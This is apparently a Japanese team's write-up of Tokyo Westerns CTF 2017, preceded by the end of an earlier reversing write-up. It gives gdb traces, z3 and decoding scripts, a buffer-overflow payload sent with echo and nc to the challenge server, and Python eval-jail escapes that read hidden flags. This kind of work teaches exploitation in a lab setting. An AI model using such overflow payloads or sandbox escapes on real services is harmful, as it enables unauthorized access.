2261750.5097961728}, v16_int8 = {0x41, 0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x0, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x41, 0x4141, 0x4141, 0x7d41, 0x41, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41410041, 0x7d414141, 0x41410041, 0x4141417b}, v2_int64 = {0x7d41414141410041, 0x4141417b41410041}, uint128 = 0x4141417b414100417d41414141410041 } 0x7c96: psadbw xmm5,xmm2 First: gdb-peda$ p $xmm5 $9 = { v4_float = {8.88423226e-43, 0, 1.06919073e-42, 0}, v2_double = {3.1323761946335031e-321, 3.7697208777687111e-321}, v16_int8 = {0x7a, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfb, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x27a, 0x0, 0x0, 0x0, 0x2fb, 0x0, 0x0, 0x0}, v4_int32 = {0x27a, 0x0, 0x2fb, 0x0}, v2_int64 = {0x27a, 0x2fb}, uint128 = 0x00000000000002fb000000000000027a } ==================== >>> hex(0x22 - 0x41) '-0x1f' >>> hex(0x0f - 0x41) '-0x32' >>> hex(0x02 - 0x41) '-0x3f' >>> hex(0xc8 - 0x7b) '0x4d' >>> hex(0x83 - 0x41) '0x42' >>> hex(0xfb - 0x41) '0xba' >>> hex(0xe0 - 0x41) '0x9f' >>> hex(0x83 - 0x00) '0x83' >>> hex(0x1f + 0x32 + 0x3f + 0x4d + 0x42 + 0xba + 0x9f + 0x83) '0x2fb' ==================== Second: gdb-peda$ p $xmm5 $7 = { v4_float = {7.13260918e-43, 0, 8.91225823e-43, 0}, v2_double = {2.5147941373319449e-321, 3.142257507550328e-321}, v16_int8 = {0xfd, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x1fd, 0x0, 0x0, 0x0, 0x27c, 0x0, 0x0, 0x0}, v4_int32 = {0x1fd, 0x0, 0x27c, 0x0}, v2_int64 = {0x1fd, 0x27c}, uint128 = 0x000000000000027c00000000000001fd } 0x7c9a: movaps XMMWORD PTR ds:0x1268,xmm5 0x7c9f: mov di,WORD PTR ds:0x1268 First: gdb-peda$ p $edi $10 = 0x27a Second: gdb-peda$ p $di $9 = 0x1fd 0x7ca3: shl edi,0x10 First: gdb-peda$ p $edi $11 = 0x27a0000 Second: gdb-peda$ p $edi $11 = 0x1fd0000 0x7ca7: mov di,WORD PTR ds:0x1270 First: gdb-peda$ p $edi $12 = 0x27a02fb gdb-peda$ p $si $13 = 0x8 Second: gdb-peda$ p $edi $12 = 0x1fd027c gdb-peda$ p $si $13 = 0x7 0x7cab: mov dx,si 0x7cad: dec dx gdb-peda$ p $dx $14 = 0x7 ------------------------------ # 単純にdxの値を4倍している 0x7cae: add dx,dx First: gdb-peda$ p $dx # 7 + 7 $15 = 0xe Second: gdb-peda$ p $dx # 6 + 6 $15 = 0xc 0x7cb0: add dx,dx First: gdb-peda$ p $dx $16 = 0x1c Second: gdb-peda$ p $dx $16 = 0x18 ------------------------------ 0x7cb2: cmp edi,DWORD PTR [edx+0x7da8] First: gdb-peda$ x/10 $edx+0x7da8 0x7dc4: 0x02df028f 0x00000014 0x00000000 0x00000000 0x7dd4: 0x00000000 0x00000000 0x00000000 0x00000000 0x7de4: 0x00000000 0x00000000 Second: gdb-peda$ x/10 $edx+0x7da8 0x7dc0: 0x0290025d 0x02df028f 0x00000014 0x00000000 0x7dd0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7de0: 0x00000000 0x00000000 0x7cba: jne 0x7d4d # If input is not correct, return. 0x7cbe: dec si gdb-peda$ p $si $2 = 0x7 0x7cbf: test si,si # If si is 0, finish. 0x7cc1: jne 0x7c8e ======================================================================================= This is the flag!!!!!!!!!!!!!!!!!!!!! Just do it!!!!!!!!!! 0x02df028f 0x0290025d 0x02090221 0x027b0278 0x01f90233 0x025e0291 0x02290255 0x02110270
psadbw
のところが不可逆っぽいので,逆算する処理ではなくz3を使ってこの処理を満たすような入力値を求める.
z3の使い方がわからず,BitVecsで値を生成してそれにabs()使おうとしたらできなくて,他にもいろいろ苦戦して,ようやくスクリプトが書けました.
(かなり汚いです)
#!/usr/bin/env python from z3 import * # 0x20 <= si <= 7e # # [flag] # 0x02df028f # 0x0290025d # 0x02090221 # 0x027b0278 # 0x01f90233 # 0x025e0291 # 0x02290255 # 0x02110270 # # {s0s1s2s3s4s5s6s7s8s9s10s11s12s13} # # s7s8s9s10s11s12s13}s3s4s5s6{s0s1s2 # s15 s14 # 0x** ** ** 7b ** ** ** ** ** 7d ** ** ** ** ** ** ** (little endian) def get_abs(x): return If(x >= 0,x,-x) def main(): solver = Solver() s = [Int('s_%d' % i) for i in range(14)] for i in range(len(s)): solver.add(s[i] != 0) solver.add(0x20 <= s[i], s[i] <= 0x7e) s14 = 0x7b s15 = 0x7d t0 = 0x22 t1 = 0x0f t2 = 0x02 t3 = 0xc8 t4 = 0x83 t5 = 0xfb t6 = 0xe0 t7 = 0x83 t8 = 0xc0 t9 = 0x20 t10 = 0x0f t11 = 0x10 t12 = 0xcd t13 = 0x00 t14 = 0x13 t15 = 0xb8 psadbw1 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - 0x00) psadbw2 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - 0x00) solver.add(psadbw1 == 0x28f) solver.add(psadbw2 == 0x2df) t0 = 0x0 t1 = 0x0 t2 = 0x0 t3 = 0x0 t4 = 0x0 t5 = 0x0 t6 = 0x02 t7 = 0x8f t8 = 0x0 t9 = 0x0 t10 = 0x0 t11 = 0x0 t12 = 0x0 t13 = 0x0 t14 = 0x02 t15 = 0xdf psadbw3 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - 0x00) + get_abs(t7 - s[3]) psadbw4 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - 0x00) + get_abs(t15 - s[7]) solver.add(psadbw3 == 0x25d) solver.add(psadbw4 == 0x290) t7 = 0x5d t15 = 0x90 psadbw6 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - 0x00) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw7 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - 0x00) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw6 == 0x221) solver.add(psadbw7 == 0x209) t7 = 0x21 t15 = 0x09 psadbw8 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - 0x00) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw9 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - 0x00) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw8 == 0x278) solver.add(psadbw9 == 0x27b) t7 = 0x78 t15 = 0x7b psadbw10 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - 0x00) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw11 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - 0x00) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw10 == 0x233) solver.add(psadbw11 == 0x1f9) t7 = 0x33 t14 = 0x01 t15 = 0xf9 psadbw12 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - 0x00) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw13 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - 0x00) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw12 == 0x291) solver.add(psadbw13 == 0x25e) t7 = 0x91 t14 = 0x02 t15 = 0x5e psadbw14 = get_abs(t0 - s[2]) + get_abs(t1 - 0x00) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw15 = get_abs(t8 - s15) + get_abs(t9 - 0x00) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw14 == 0x255) solver.add(psadbw15 == 0x229) t7 = 0x55 t15 = 0x29 psadbw16 = get_abs(t0 - 0x00) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw17 = get_abs(t8 - 0x00) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw16 == 0x270) solver.add(psadbw17 == 0x211) t7 = 0x70 t15 = 0x11 if solver.check() == sat: m = solver.model() print m flag = '' for i in s: flag += chr(m[i].as_long()) print "\nflag: flag{%s}" % flag else: print "Not found." if __name__ == '__main__': main()
$ python solve.py [s_0 = 52, s_6 = 95, s_2 = 51, s_3 = 97, s_4 = 108, s_10 = 51, s_11 = 95, s_8 = 48, s_7 = 109, s_9 = 100, s_5 = 122, s_12 = 121, s_13 = 48, s_1 = 114] flag: flag{4r3alz_m0d3_y0}
まとめ
z3の書き方,よくわからない部分が多い.
解けなかった問題に関しては,
pilot (Pwn75):オーバーフローさせてシェルコード実行させようとしたらできなくて,gdbで見てみたらシステムコールを呼ぶ直前でコードが変わるという謎の現象が起きたりしてた.よくわからん.
Missed Registration (Forensics150):nの値とxの値 is 何.末尾に何か付いてたけどわからん.
Gopherz (Reversing350):Gopherというプロトコルを初めて知った.なんの成果も得られませんでした.
Tokyo Westerns CTF 3rd 2017 Writeup
開催期間(JST)
09/02 AM9:00 ~ 09/04 AM9:00
結果
・チーム名:wabisabi
・得点:213pt
・順位:得点したチーム中,133/901
解いた問題
・Just do it!
・Rev Rev Rev
・pplc: private
・pplc: local
・pplc: comment
取り組んだが解けなかった問題
・Let’s go!
はじめに
実際に集まることはなかったのですが,slackでちょいちょいやり取りしながらチームメンバーのkobadとよね君と一緒に参加してました.
Warmupは全部解きたいねって話をメンバーにしたのですが,cryptoの1問が残ってしまいました.cryptoちょっと見てみたけどrevやりたかったのでそっと閉じました.
途中,ちょっと遠くに美味しいラーメンを食べに行ったり,翌日の日曜は近所の高校の学園祭にお邪魔して遊んでたりしてて,夕方帰ってきてから朝まで気合でLet’s go!のバイナリを読んでた,そんな感じのCTFでした.
Writeup
Just do it!
やるだけ問でした.
実行するとこんな感じ.flag.txtを作る必要がある.
$ ./just_do_it56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa Welcome my secret service. Do you know the password? Input the password. hoge Invalid Password, Try Again!
flagを中で読み込んでるけど,出力はしないみたいな感じで,あとBoFがある.
オーバーフローした先がputsで入力値を出力する場所だったので,オーバーフローさせてからputsに渡すアドレスをflagのある場所に変えるだけ.
$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa Welcome my secret service. Do you know the password? Input the password. FLAG{xxxx}
これをリモートに送ってやるとflagが貰える.
$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |nc pwn1.chal.ctf.westerns.tokyo 12345 Welcome my secret service. Do you know the password? Input the password. TWCTF{pwnable_warmup_I_did_it!}
Rev Rev Rev
一番最初に解いた問題でした.
$ ./rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f Rev! Rev! Rev! Your input: hoge Invalid!
crackme系の問題っぽい.
確か,最初に入力値から改行を取り除き,その文字列を反転して,さらに2回ほど暗号化っぽいことをやってた気がする.
で,それがとある文字列と等しいかどうか判定している.
最初に思いついたのが,アルファベットと数字を全て入力して,生成される文字列からテーブルみたいなのを作って,あとは読むだけ,みたいなやり方.
最初にABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
と入力しようとしたら,確か文字列の制限があって,小文字大文字に分けて出力結果をメモっていった.
結果,プログラム書くより手でやったほうが早そうだったので,こんな感じになった↓
0xd5, 0x15, 0x3d, 0xd5, 0x9d, 0x21, 0x71, 0xf1, 0xa1, 0x69, 0x31, 0x61, 0xdd, 0x89, 0xb9, 0x49, 0xb9, 0x09, 0xa1, 0x13, 0x93, 0x09, 0x19, 0xc9, 0xe1, 0xf1, 0xa1, 0x65, 0xd9, 0x29, 0x41 T W C T F { q p z i s y D n b m b o z 7 6 o g l x p z Y d k } ABCDEFGHIJKLMNOPQRSTUVWXYZ 0x7d, 0xbd, 0x3d, 0xdd, 0x5d, 0x9d, 0x1d, 0xed, 0x6d, 0xad, 0x2d, 0xcd, 0x4d, 0x8d, 0x0d, 0xf5, 0x75, 0xb5, 0x35, 0xd5, 0x55, 0x95, 0x15, 0xe5, 0x65, 0xa5 abcdefghijklmnopqrstuvwxyz 0x79, 0xb9, 0x39, 0xd9, 0x59, 0x99, 0x19, 0xe9, 0x69, 0xa9, 0x29, 0xc9, 0x49, 0x89, 0x09, 0xf1, 0x71, 0xb1, 0x31, 0xd1, 0x51, 0x91, 0x11, 0xe1, 0x61, 0xa1 1234567890 0x73, 0xb3, 0x33, 0xd3, 0x53, 0x93, 0x13, 0xe3, 0x63, 0xf3
TWCTF{qpzisyDnbmboz76oglxpzYdk}
pplc: private
自分は初めてみる形式の問題で,脳トレっぽくて楽しめました.
pythonのソースコードが渡されます. あと,このプログラムが動いているサーバがあります.
import sys from restrict import Restrict r = Restrict() # r.set_timeout() class Private: def __init__(self): pass def __flag(self): return "TWCTF{CENSORED}" p = Private() Private = None d = sys.stdin.read() assert d is not None assert "Private" not in d, "Private found!" d = d[:24] r.seccomp() print eval(d)
問題の概要としては,Privateの中にある__flag関数を呼んでフラグを取ってね,みたいな感じ.
そんなの普通に呼べばいいやんけってわけにはいかなくて,pythonにはprefixとしてアンダースコア2つで関数を定義すると,マングリング機構というものが働いて,メソッド名が_クラス名__メソッド名に変換されるので,元の名前では呼ぶことができなくなります.
そう,元の名前では呼べないだけで,変換された名前で呼んであげれば勝ちです.
しかし,assertが働いているので “Private” という文字列を入力することができません.
ここで,先日参加したkatagaitai勉強会のXSS千本ノックで学んだXSS的思考が役に立ちました.
まず,dir(p)でpオブジェクトのメソッド一覧を調べます.
すると,変換された名前である “_Private__flag” が第1要素として格納されているので,これを使います.
eval("p."+dir(p)[0]+"()")
これで,一度式が評価されて “p._Private_flag()” という文字列が生成されてから,再度元々のevalにより関数として評価されて勝ち!って思ったんだけど,これは25文字になってしまい,24文字制限があるこの問題では最後の “)” が入力されない.
ここで結構悩んでいたのですが,文字列の中で変数展開的なことできなかったっけ?と思って,
eval('p.%s()'%dir(p)[0])
こう書いてみたら24文字ぴったりでした.
$ ncat ppc1.chal.ctf.westerns.tokyo 10000 eval('p.%s()'%dir(p)[0]) TWCTF{__private is not private}
参考:
pplc: local
import sys from restrict import Restrict r = Restrict() # r.set_timeout() def get_flag(x): flag = "TWCTF{CENSORED}" return x d = sys.stdin.read() assert d is not None d = d[:30] r.seccomp() print eval(d)
get_flagの中で定義されているローカル変数であるflagを読みだす問題.
無理ゲーやろって思って,過去問見ながら調べてたら去年はRubyの問題でデバッグ関係の関数が役に立ったというのを見て,調べてたけどダメ.
さっきみたいにdirでget_flagのメソッド取り出してアクセスできないかなと調べてたら以下のサイトが役に立った.
dir(get_flag.func_code)でメソッド全部出して,それっぽいのを見ていきました.
dir(get_flag.func_code) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] get_flag.func_code.co_argcount 1 get_flag.func_code.co_code d}|S $ get_flag.func_code.co_consts (None, 'TWCTF{CENSORED}') $ ncat ppc1.chal.ctf.westerns.tokyo 10001 get_flag.func_code.co_consts (None, 'TWCTF{func_code is useful for metaprogramming}')
pplc: comment
import sys from restrict import Restrict r = Restrict() # r.set_timeout() d = sys.stdin.read() assert d is not None d = d[:20] import comment_flag r.seccomp() print eval(d)
''' Welcome to unreadable area! FLAG is TWCTF{CENSORED} '''
メモリ上の値をどうにかして呼び出すのかな~とか思ってimport gc; gc.get_objects()
とかをやろうとしていたのですが,evalは文を評価してくれないため詰み.
localを解いた後だったので,さっきみたいなところに入ってたりしないかな~と適当に見ていったら見つかって拍子抜けした.
dir(comment_flag) ['__builtins__', '__doc__', '__file__', '__name__', '__package__'] comment_flag.__doc__ Welcome to unreadable area! FLAG is TWCTF{CENSORED} $ ncat ppc1.chal.ctf.westerns.tokyo 10002 comment_flag.__doc__ Welcome to unreadable area! FLAG is TWCTF{very simple docstring}
__doc__に入るっぽい
取り組んだが解けなかった問題
Let’s go!
golang x crackme な感じのやつでした.
絶対解くぞと思って朝までやっててもできなかったので,途中までやったことを書いていきます.
$ file lets_go lets_go: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
一見普通のELFっぽいですが,中を見てみると見慣れない関数とかがあって調べてみたらgolangで書かれたものでした.(Let’s go!という問題文も納得)
passwordとなる文字列をコマンドライン引数で渡して実行する形式.
$ ./lets_go hoge
Failed... ;(
まずはpasswordを比較しているところを探すことから始めました.
あと,golangバイナリの読み方?的なことも調べつつ.
main.mainから読んでいきます.
main.mainはこんな感じです.
このプログラムは引数がちゃんと渡されていたら,テーブルの生成とパスワードチェックの関数が実行されるようになっています.
テーブルは,後ほど出てくる暗号化で使われているテーブルです.
main.UhoCh5ooSeith0ee7Ien
で生成されているのですが,詳細な動作を読む必要は無さそう.
結果として,
WPnq7JEM2AskwjoX3VRx9aHbiYfd4#Zp05TUGc1SBCFNgvhz8rQl6@ytIKumDeOL
というテーブルが生成されます.
テーブルが生成された後,main.mainにてmain.Xerei4oreeshex6zien0
という関数が実行されます.
0x492a5c <main.main+140>: call 0x491fa0 <main.Xerei4oreeshex6zien0>
この関数はパスワードチェックやFLAGが正しいかどうかのチェックも担っているチェック関数みたいなやつです.
こいつの内部でcallされている関数の中で重要な関数がmain.Wuyeiqua4ievohR4ahng
です.
入力値やテーブルなどを受け取ってなんかやってます.
これを実行すると戻り値として暗号化っぽい処理を施された文字列が返ってきます.
その後,その戻り値がR6aYb@VboTG==
かどうかで分岐しているので,main.Wuyeiqua4ievohR4ahng
をもっと詳しく読む必要があります.
main.Wuyeiqua4ievohR4ahng
では,入力値を2進数化してから,
0x491d70: e8 cb 40 fc ff call 455e40 <strconv.ParseInt>
ここで,その値をパースしています.確か引数として6とかを渡していて,”先頭から6文字づつ取り出す”とかそんな挙動になると思います.
そして,
0x491d8b: 48 8b 94 24 e0 00 00 mov rdx,QWORD PTR [rsp+0xe0] # rdx = table 0x491d92: 00 0x491d93: 0f b6 04 02 movzx eax,BYTE PTR [rdx+rax*1] # eax = table[rax]
ここで,ParseIntの結果をtableのインデックスとして用いて,tableから1文字取り出す,ということをやっています.
つまり,'A'という入力値が与えられた場合,まず'A'の2進表現として01000001に変換され,先頭から6文字である'010000'が取り出される.
これは10進数で16なので,table[16]である3が取り出され,残りの01に対しても6bitに拡張される?からなのか,010000となり,同じようにtable[16]である3が取り出されます.
そして,1回目のjoinで結合されて'33'になり,2回目のjoinでパディングが付与されて'33===‘になる,みたいな挙動をします.
6bitで区切って末尾にパディングはイメージ的にはbase64っぽい.
そこで,何をすればパスワードが求まるかというと,"R6aYb@VboTG==“のそれぞれの文字に対してtableからインデックスを求めてからそれを2進数化、そして8文字区切りで読んでいけば読める、パディングは無視します.
tableにおけるRの位置は18, 6は52,,,,,これを続けていき,求まった値をスクリプトに書いてパスワードを求めました.
#!/usr/bin/env python import sys def main(): password = [18, 52, 21, 25, 23, 53, 17, 23, 14, 34, 36] # "R6aYb@VboTG" pass_bin = "" for i in password: pass_bin = pass_bin + format(i, 'b').zfill(6) for i in range(len(pass_bin)/8): sys.stdout.write(chr(int(str(pass_bin[i*8:i*8+8]), 2))) if __name__ == '__main__': main()
すると,"KEY_TW:)“というパスワードが求まります.
ここからが本題で,求まったパスワードを元に実行すると,
$ ./lets_go "KEY_TW:)" Input FLAG: hoge Failed... ;(
このように,渡されたFLAGの値を正しいかどうかチェックするようになります.
読むべき場所はここ
0x4924ab <main.Xerei4oreeshex6zien0+1291>: call 0x491a80 <main.f1151e71905f3d94b49b0>
この関数,渡されたパスワードを元にゴニョゴニョやっているので,パスワードについては分岐を潰すだけではダメで,実際に↑で書いたように正しい値を求める必要があります.
この関数に入る前に,
0x4923cf <main.Xerei4oreeshex6zien0+1071>: cmp rcx,0x30 // 入力値は48文字 0x4923d3 <main.Xerei4oreeshex6zien0+1075>: jne 0x4926e6 <main.Xerei4oreeshex6zien0+1862> // 48文字ではなかったらExit
ここでFLAGの文字数を48文字でなかったらFailedになる処理があるので,適当に48文字与える必要があります.
ここでは”TWCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}”という文字列を与えます.
(ここら辺から言っていることが正しいのか自信がないので間違ってたら申し訳ない)
では先ほど出てきたmain.f1151e71905f3d94b49b0
がなにをしているのかというと,渡された48文字を先頭から8文字取り出して,
'TWCTF{AA'[0] + 'KEY_TW:)'[0]
まず,この値を求めます. そして,スタック上にできているtable(先ほどとは違うもの)に対して,この値をインデックスとして取り出す.
取り出した値に,TWCTF{AAの'W'を加えて,それをRCXに格納.
RCX = table[ 'TWCTF{AA'[0] + 'KEY_TW:)'[0] ] + 'TWCTF{AA'[1]
rol cl, 1
最後にRCXの下位8bitをrolしてから,RCXの下位8bitを"TWCTF{AA"の指定の場所に格納して"TdCTF{AA"になってそのまま32回繰り返すので,次に"Td,TF{AA"となり,これがどんどん繰り返されて最終的に64bitのよくわからない値になります.
そして,main.f1151e71905f3d94b49b0
からretして
0x492574 <main.Xerei4oreeshex6zien0+1492>: call 0x464780 <reflect.DeepEqual>
にて,値が正しいのか確かめていると思う.
この処理を計6回行って48文字の正誤を検証しているっぽいです.
で,DeepEqualにてどんな値とそれぞれ比較されているのかというと
1回目:0x48fd9fdd395cfe4a 2回目:0x555ed4725bde6cf0 3回目:0xb492d5de09fa160 4回目:0x9c326531f39e320e 5回目:0x5eecc9092cef233d 6回目:0x10b4e73f5fd73945
つまり,これがFLAGっぽいです.
Z3使えば答えが求まるかなと思って,少しづつ書いていたのですが,できずにタイムアップしました.
他の方のWriteupを読みたいと思います…
まとめ
解けた中で一番面白かったのはpplc,解けなかったけど一番時間をかけたのはLet’s go!でした.
Let’s go!が解けていれば順位が2桁だったので悔しさがある…